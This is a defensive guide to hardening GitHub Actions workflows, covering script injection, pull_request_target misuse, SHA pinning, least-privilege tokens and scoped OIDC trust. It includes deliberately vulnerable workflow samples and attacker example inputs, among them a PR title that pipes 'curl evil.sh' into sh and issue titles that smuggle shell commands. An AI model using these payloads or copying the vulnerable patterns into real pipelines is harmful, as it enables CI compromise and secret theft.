In short

Most GitHub Actions compromises come from untrusted pull-request content reaching a job that holds secrets or a write token. Pass ${{ }} context through env instead of into a run script, keep pull_request_target and workflow_run away from fork code, set GITHUB_TOKEN to least privilege, pin third-party actions to a full commit SHA, scope OIDC trust to the repo and environment, and validate any artifact from another workflow as data.

  • Do assign context values (github.event.*) to env: variables and reference the variable in run, so attacker text is never pasted into the shell script.
  • Do set permissions at the top of every workflow (read-only or {}) and raise only the one scope a job needs; the default GITHUB_TOKEN for new repos is already read-only.
  • Do pin third-party actions to a full-length commit SHA with a version comment; a tag can be moved to malicious code, as the 2025 tj-actions/changed-files compromise showed.
  • Do keep pull_request_target and workflow_run away from fork code; actions/checkout v7 refuses fork-PR checkout by default, and GitHub's default policy blocks pull_request_target on public repos from 2026-11-02.
  • Don't give a workflow that runs untrusted PR code any secrets, a write token, or a self-hosted runner.
  • Don't trust an artifact or cache produced by a less-trusted workflow; validate it as bounded data before use.

Verify it

  1. Run actionlint over .github/workflows and confirm it reports untrusted context used directly in run steps; fix until it is clean.
  2. Run zizmor over the workflows and confirm template-injection, excessive-permissions, unpinned-uses and dangerous-triggers findings are resolved or justified.
  3. Grep every workflow for third-party uses: and confirm each is a 40-hex commit SHA, not a tag or branch.
  4. Grep for permissions: and confirm each workflow sets a top-level default and each job declares only the scopes it needs.
  5. Open a fork pull request that puts a shell metacharacter in the branch name or PR title and confirm no job echoes it into a shell or exposes a secret.
  6. Check the cloud role trust policy has a sub condition scoped to your repo (and environment), with no wildcard that would match another repo, and confirm OIDC uses id-token: write only where needed.
Applies to
  • GitHub Actions github.com, 2026-10
  • actions/checkout v7 (v2 to v6 backported)
  • aws-actions/configure-aws-credentials v6

Workflows on GitHub.com using GitHub-hosted or self-hosted runners. GitHub Enterprise Server defaults and feature availability can differ.

Part of
Workflow: Fix a finding

Fix it in your stack

Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.

Learning goals and prerequisitesAbout 34 minutes: 11 to read and 23 for the exercise

What you will learn

  • Find the jobs where untrusted input meets secrets, a write token or a runner.
  • Remove run-step script injection by passing context through environment variables.
  • Contain pull_request_target and workflow_run and consume artifacts as data.
  • Apply least-privilege GITHUB_TOKEN, SHA-pinned actions and scoped OIDC trust.

Before you start

Developers and AppSec or platform engineers who write and review GitHub Actions workflows and CI/CD configuration

  • Read a GitHub Actions workflow: triggers, jobs, steps, permissions and ${{ }} expressions.
  • Tell a fork pull request from a same-repository one, and know what GITHUB_TOKEN and secrets are.
  • Basic shell and JSON, and familiarity with OIDC/cloud role trust at a high level.
Go to the guided practice

Find the jobs that hold power

A GitHub Actions compromise almost always has the same shape: content an outsider controls reaches a job that holds something valuable, namely secrets, a write-scoped GITHUB_TOKEN, cloud credentials through OIDC, or a persistent self-hosted runner. The content can be a pull request's code, its title or branch name, a dependency it adds, or an artifact or cache an earlier job produced. Start by listing which triggers run on outsider input (pull_request, pull_request_target, issue_comment, workflow_run) and which jobs can publish, deploy, write to the repo or read secrets. The risk lives where those two sets overlap.

Two facts make the overlap dangerous. First, pull_request_target and workflow_run run in the context of the base repository, so they get the repository's secrets and a token that can be write-scoped, even when the triggering pull request comes from a fork. Second, the fork's pull_request run itself gets neither: its GITHUB_TOKEN is read-only and no secrets are passed. So the safe default is to do untrusted work under pull_request and keep anything privileged away from fork-controlled code. The rest of this guide hardens each crossing in turn, and the GitHub defaults changed a lot across 2025 and 2026, so the dated changes are called out where they matter.

Script injection: keep context out of the shell

A run step is written to a temporary script, and GitHub expands every ${{ }} expression into that script text before the shell parses it. If an expression holds attacker-controlled text, the attacker is writing shell. A pull request title of a"; curl evil.sh | sh; " or a branch name like zzz";echo${IFS}pwned;# turns a harmless-looking grep into command execution on the runner. The vulnerable triage workflow below pastes github.event.issue.title straight into a bash test; an issue title can close the quote and run anything.

The fix is not to escape the value but to stop it from being code at all. Assign each context value to an env: variable, then reference the variable in the script with ordinary, quoted shell expansion. An environment variable's value never passes through the expression-expansion step, so the title is just data in a string. actionlint flags the vulnerable form, and GitHub's own guidance says the same: for inline scripts, set the value to an intermediate environment variable. Where you can, use an action that takes the value as an argument instead of building a shell string.

Vulnerable.github/workflows/triage.ymlYAML
name: triage
on:
  issues:
    types: [opened]
permissions:
  issues: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - name: Label bug reports
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "${{ github.event.issue.title }}" == *bug* ]]; then
            gh issue edit "${{ github.event.issue.number }}" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi

The env fix, plus per-job permissions

The repaired triage workflow moves the title and number into env and references $TITLE and $NUMBER in the script, so no attacker text reaches the shell as code. The same version also tightens authority: the top-level permissions is {} (no token scopes), and the one job that needs to label issues declares issues: write with a comment saying why. Setting any permissions block drops every scope you do not list to none, which is exactly what you want.

This pattern, context through env and least-privilege permissions, is the single highest-value habit in Actions. Run actionlint and zizmor in CI so a future edit that reintroduces ${{ github.event.* }} in a run step fails the build.

Fixed.github/workflows/triage.ymlYAML
name: triage
on:
  issues:
    types: [opened]
permissions: {}
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      issues: write   # add the label
    steps:
      - name: Label bug reports
        env:
          TITLE: ${{ github.event.issue.title }}
          NUMBER: ${{ github.event.issue.number }}
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "$TITLE" == *bug* ]]; then
            gh issue edit "$NUMBER" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi

pull_request_target and workflow_run: the pwn request

The classic "pwn request" is a pull_request_target workflow that checks out the fork's head commit and then builds or tests it. Because pull_request_target carries the base repository's secrets and a write token, running the fork's code (through npm ci, make, a build script, or anything the fork controls) hands that code the secrets. The vulnerable workflow below does exactly this, and compounds it with permissions: write-all and an unpinned action. GitHub's rule is blunt: workflows on these triggers must not check out or execute untrusted code.

GitHub tightened the defaults here through 2026. actions/checkout v7 (June 2026, backported to v2 to v6 with enforcement on 2026-07-20) refuses to fetch fork pull-request code under pull_request_target or workflow_run unless you set allow-unsafe-pr-checkout: true; v1 is excluded, and a SHA-pinned checkout does not pick up the backport automatically. Workflow execution protections (GA September 2026) add a default rule that disables pull_request_target on public repositories with no event policy of their own. The rule runs in evaluate mode before enforcement, which GitHub's changelog set for 2026-11-02 (private and internal repos are unaffected). The low-trust cache is read-only by default too. These are backstops, not a design: the fix is still to not run fork code in a privileged context. /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ traces the whole privilege path, including artifact and cache handoffs.

Vulnerable.github/workflows/pr-build.ymlYAML
name: pr-build
on: pull_request_target
permissions: write-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

Split the work: untrusted build, trusted comment

When you genuinely need to act on a fork PR with privileges (post a comment, update a status), split it into two workflows. The untrusted half runs on pull_request with no secrets and a read-only token: it builds, tests and writes a small, data-only summary as an artifact. The privileged half runs on workflow_run after the first completes, downloads that artifact, and does the privileged action. The CI workflow below is the untrusted half: note persist-credentials: false on a SHA-pinned checkout, and that it only ever emits a bounded JSON file.

The privileged half must treat the artifact as untrusted data, never as code. The companion ci-comment workflow downloads the summary into an untrusted/ directory, checks its size, validates that it is exactly the expected integer fields in range, and only then posts a comment. It never unzips and runs anything from the artifact, and it re-reads the PR head from the API to bind the comment to the right commit. This is the same contract as GitHub's guidance that workflow_run artifacts from other workflows are untrusted.

Fixed.github/workflows/ci.ymlYAML
name: ci
on: pull_request
permissions:
  contents: read   # read the code; fork PRs get no secrets and a read-only token
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci && npm test
      - name: Write a data-only summary
        env:
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: ./ci/summary.sh "$PR_NUMBER" > summary.json
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: summary
          path: summary.json

The privileged consumer validates, never executes

The consumer below is the whole point of the split. It downloads the summary artifact from the triggering run, enforces a size cap, and uses one jq assertion to require exactly the keys failed, passed and pr, each a non-negative integer below a million. Anything else (an extra key, a string, a float, an oversized blob, a non-JSON body) fails the step before any privileged call. It then confirms the PR's current head matches the workflow_run head SHA so a race cannot retarget the comment. Only after all that does it call gh pr comment.

Tested against hostile inputs, this step accepts the valid summary and rejects an extra key, a string pr, a float, a negative number, a boolean, non-JSON, an oversized file, and a mismatched head commit. That is the bar for anything that consumes a less-trusted artifact: a narrow schema, hard limits, and no path from artifact content to execution.

Fixed.github/workflows/ci-comment.ymlYAML
name: ci-comment
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
permissions: {}
jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      actions: read          # download the other run's artifact
      pull-requests: write   # post the comment
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: summary
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
          path: untrusted
      - name: Validate the artifact as data, then comment
        env:
          GH_TOKEN: ${{ github.token }}
          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
        run: |
          set -euo pipefail
          f=untrusted/summary.json
          [ "$(wc -c < "$f")" -le 1024 ]
          jq -e 'keys == ["failed","passed","pr"] and all(.[]; type == "number" and . >= 0 and . == floor and . < 1000000)' "$f" > /dev/null
          pr=$(jq '.pr' "$f"); passed=$(jq '.passed' "$f"); failed=$(jq '.failed' "$f")
          head=$(gh pr view "$pr" --repo "$GITHUB_REPOSITORY" --json headRefOid --jq .headRefOid)
          [ "$head" = "$HEAD_SHA" ]
          gh pr comment "$pr" --repo "$GITHUB_REPOSITORY" --body "Tests: $passed passed, $failed failed"

Pin actions to a commit SHA

A third-party action runs with your workflow's privileges, so its reference is a trust decision. A tag like @v4 is mutable: whoever controls the action's repository can move it to new code. Pin to a full-length commit SHA and keep the version in a trailing comment, for example uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1. GitHub states a full-length commit SHA is currently the only way to use an action as an immutable release, and repository or organization policy can require SHA pinning and even block specific actions (a ! prefix in the allow list, since August 2025). Pair pinning with Dependabot, which updates pinned SHAs; note Dependabot does not raise alerts for actions already pinned to a SHA, so updates are how you get fixes.

The 2025 tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) is the cautionary tale, told in full in /domains/supply-chain/ci-cd/case-study-tj-actions/. Attackers who had obtained a maintainer token repointed the action's existing version tags at a malicious commit; the injected code dumped the runner's memory and printed secrets, double-base64-encoded, into workflow logs. Every workflow referencing the action by tag ran the malicious code; a workflow pinned to a known-good SHA did not. Unit 42 traced the entry point back through a compromised reviewdog action (CVE-2025-30154) to a SpotBugs pull_request_target workflow that leaked a token; although the action was used by tens of thousands of repositories, Endor Labs found that only 218 actually leaked secrets, most of them short-lived GITHUB_TOKENs. CISA added both CVEs to its Known Exploited Vulnerabilities catalog. The lessons are exactly this guide: pin to SHAs, keep tokens least-privilege and short-lived, and avoid pull_request_target with untrusted code.

Fixed.github/workflows/deploy.ymlYAML
name: deploy
on:
  push:
    branches: [main]
permissions: {}
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write   # request the OIDC token for AWS
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@cbe3b392738ccf3f987d68400dafcf4b0624a56c # v6.2.4
        with:
          role-to-assume: arn:aws:iam::111122223333:role/acme-web-deploy
          aws-region: us-east-1
      - run: ./scripts/deploy.sh

OIDC: scope the token and the trust policy

Prefer short-lived OIDC credentials over long-lived cloud secrets stored in the repo. The deploy workflow above requests an OIDC token with id-token: write (which only lets the job mint the token, not write to the repo), runs on a protected push to main, and uses an environment so a reviewer and branch rules gate it. The matching AWS role trust policy is where the real control lives: it must require the audience and a sub claim scoped to your repository and, here, the production environment.

The trust policy below allows only a token whose sub is repo:acme/web:environment:production with the sts.amazonaws.com audience. GitHub's guidance and AWS both insist you define at least one condition so untrusted repositories cannot assume the role; a tested trap is a StringLike wildcard such as repo:acme/*, which would also admit a fork or an unrelated repo. Tested against sample tokens, the scoped policy allows the production deploy and denies a main-branch job without the environment, a pull_request job, another repo using the same environment name, and a wrong audience; the wildcard policy wrongly allows the first four. Note the subject format change: repositories created after 2026-07-15 use immutable subject claims of the form repo:OWNER@OWNER-ID/REPO@REPO-ID:..., so match your repository's actual format, and use repository custom property claims (GA in 2026) when you want to key trust on a compliance tier rather than a name.

Fixedaws-iam-trust-policy.jsonJSON
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:acme/web:environment:production"
      }
    }
  }]
}

Runners, secrets and environments

Self-hosted runners should almost never run public-repository workflows: a fork pull request can run code that persistently compromises the host, and destroying the VM after each job is not guaranteed unless you make the runner ephemeral. Use GitHub-hosted runners where you can, and ephemeral or just-in-time runners (one job, then removed) otherwise, placed in runner groups that bound their network reach. Remember that a secret passed as a command-line argument can be read by another job on the same machine.

For secrets, keep them out of workflow files, store each sensitive value as its own secret (structured JSON blobs defeat log masking), and register any value you derive from a secret with ::add-mask:: so it is redacted too. Masking is best-effort, so if a secret appears in a log, rotate it. Use environments with required reviewers (up to six, one approval needed) and deployment branch rules to gate production: environment secrets are not released to a job until a reviewer approves, which keeps them away from unreviewed code. Finally, run OpenSSF Scorecard's Dangerous-Workflow, Token-Permissions and Pinned-Dependencies checks, or actionlint and zizmor, in CI so these properties are enforced on every change rather than reviewed once. Codecov's 2021 compromise (/domains/supply-chain/ci-cd/case-study-codecov/) shows why: a modified script downloaded in CI posted every environment variable to an attacker. Protect the workflow files themselves with CODEOWNERS and rulesets (/domains/supply-chain/ci-cd/source-repository-protection/).

Guided practice

A repository has two risky workflows. triage.yml interpolates the issue title into a run step; pr-build.yml runs on pull_request_target, checks out the fork head and runs npm ci && npm test with a write-all token and an NPM_TOKEN secret. You also run a deploy job that uses a long-lived AWS access key. Harden all three, and write a trust policy for the OIDC role you introduce. Prove the two code fixes locally.

Supplied scenario material
Plain text
triage.yml run step:
  if [[ "${{ github.event.issue.title }}" == *bug* ]]; then gh issue edit ... ; fi
Attacker issue titles to consider:
  T1 = "Login button is a bug"
  T2 = "$(touch PWNED)"
  T3 = 'x" == y ]] || touch PWNED; [[ "bug'

pr-build.yml:
  on: pull_request_target ; permissions: write-all
  checkout ref: ${{ github.event.pull_request.head.sha }} ; then npm ci && npm test ; env NPM_TOKEN

deploy: uses a stored AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY. Target role: arn:aws:iam::111122223333:role/acme-web-deploy, repo acme/web, environment production.
  1. 1. Classify each crossing

    For each workflow, name the untrusted input and the authority it can reach.

    Expected result and reasoning

    triage: issue title (attacker text) reaches a shell via ${{ }} expansion with an issues-scoped token. pr-build: fork code runs with write-all and NPM_TOKEN because pull_request_target carries base secrets. deploy: a long-lived key is a standing secret. The first two are the dangerous overlaps.

  2. 2. Fix script injection

    Rewrite the triage run step so none of T1-T3 can execute, and predict each outcome.

    Expected result and reasoning

    Move the title to env (TITLE: ${{ github.event.issue.title }}) and test "$TITLE". T1 labels the issue; T2 and T3 are compared as literal strings and never execute. Set top-level permissions and give the job only issues: write.

  3. 3. Contain pull_request_target

    Decide whether pr-build needs secrets at all, and restructure it.

    Expected result and reasoning

    Testing a fork PR needs no secrets, so run it on pull_request with contents: read and a SHA-pinned checkout (persist-credentials: false), no NPM_TOKEN. If a privileged comment is required, emit a bounded data-only artifact and consume it from a separate workflow_run job that validates it as data. Do not check out fork code under pull_request_target.

  4. 4. Replace the key with scoped OIDC

    Give the deploy job id-token: write and write the AWS role trust policy.

    Expected result and reasoning

    Trust policy allows sts.amazonaws.com audience and sub repo:acme/web:environment:production only. Reject a StringLike repo:acme/* wildcard, which would admit forks or other repos. Account for the immutable subject format on repos created after 2026-07-15.

  5. 5. Prove the code fixes

    Describe a local test for the two code changes without using GitHub.

    Expected result and reasoning

    Render the triage run step with each title and execute it under bash with a stub gh; confirm only benign titles call gh and no PWNED file appears for the fixed version. Run the artifact-consumer step against a valid summary and against extra-key/string/float/negative/boolean/oversized/non-JSON/mismatched-head inputs; confirm only the valid one comments. Also run actionlint and zizmor and confirm the fixed set is clean of template-injection and excessive-permissions findings.

Your deliverable: Hardened triage.yml, ci.yml and ci-comment.yml (or an equivalent split), a deploy.yml using OIDC, the AWS trust policy, and a local test transcript showing injection blocked and hostile artifacts rejected.

The local tests emulate how the runner renders ${{ }} into a bash script and how the consumer validates an artifact; they do not reproduce the full runner, GitHub's policy enforcement, or real cloud STS. Org/enterprise policy (SHA-pinning enforcement, allowed actions, the pull_request_target default policy) is separate configuration this exercise does not set.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Repair the code

Actions injection lab: Flag GitHub Actions expression injection

Run a local project

Download and unzip a starter with failing tests and a step-by-step README, edit the named exercise file, and run the tests until they pass. The reference solution is a separate download, so you can attempt the repair before you see it.

Node.js 22+ · no dependencies · GitHub Actions and GitLab CI YAML · 45–75 min

Repair a security pipeline for GitHub Actions and GitLab CI

Repair two pipelines that run gitleaks, Semgrep, OSV-Scanner, Trivy and cosign but cannot fail and trust pull requests, until every action is pinned to a commit SHA, every image to a digest, gates block and only the main branch signs the pushed digest.

In the extracted folder, run:

Shell
node --test exercise.test.mjs

13 regression tests · The starter intentionally fails some cases.

Opens in a dev container (VS Code Dev Containers or GitHub Codespaces) with a pinned image.

Static checks of the YAML text; the pipelines are not run. Each scan command was run locally with the pinned images, and the reference workflow passed actionlint 1.7.12 and zizmor 1.30.1.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. GitHub Actions: secure use reference (script injection, pinning, GITHUB_TOKEN, runners, triggers)
  2. GitHub Actions: securely using pull_request_target (v7 checkout, default policy)
  3. Safer pull_request_target defaults for actions/checkout (GitHub changelog, 2026-06-18)
  4. Workflow execution protections generally available (GitHub changelog, 2026-09-17)
  5. Control GitHub Actions cache access with cache-mode (GitHub changelog, 2026-09-10)
  6. Immutable subject claims for GitHub Actions OIDC tokens (GitHub changelog, 2026-04-23)
  7. GitHub OIDC reference: token claims and customizing the subject
  8. CISA: Supply chain compromise of third-party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154). 18 March 2025.
  9. Unit 42: GitHub Actions supply chain attack, from Coinbase to tj-actions/changed-files. Updated 2 April 2025.
  10. Endor Labs: Blast radius of the tj-actions/changed-files supply chain attack. 19 March 2025, updated 25 August 2025.
  11. GitHub Actions default GITHUB_TOKEN permissions set to read-only (changelog, 2023-02-02)
  12. OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE). v1.0 (2022).
  13. CISA, NSA and ODNI (Enduring Security Framework): Securing the Software Supply Chain, Recommended Practices Guide for Developers, section 2.4 Harden the Build Environment. August 2022.

Reference information

ASVS 5.0.0 requirements
v5.0.0-1.2.5 · v5.0.0-13.3.1 · v5.0.0-13.3.2

Download this guide as Markdown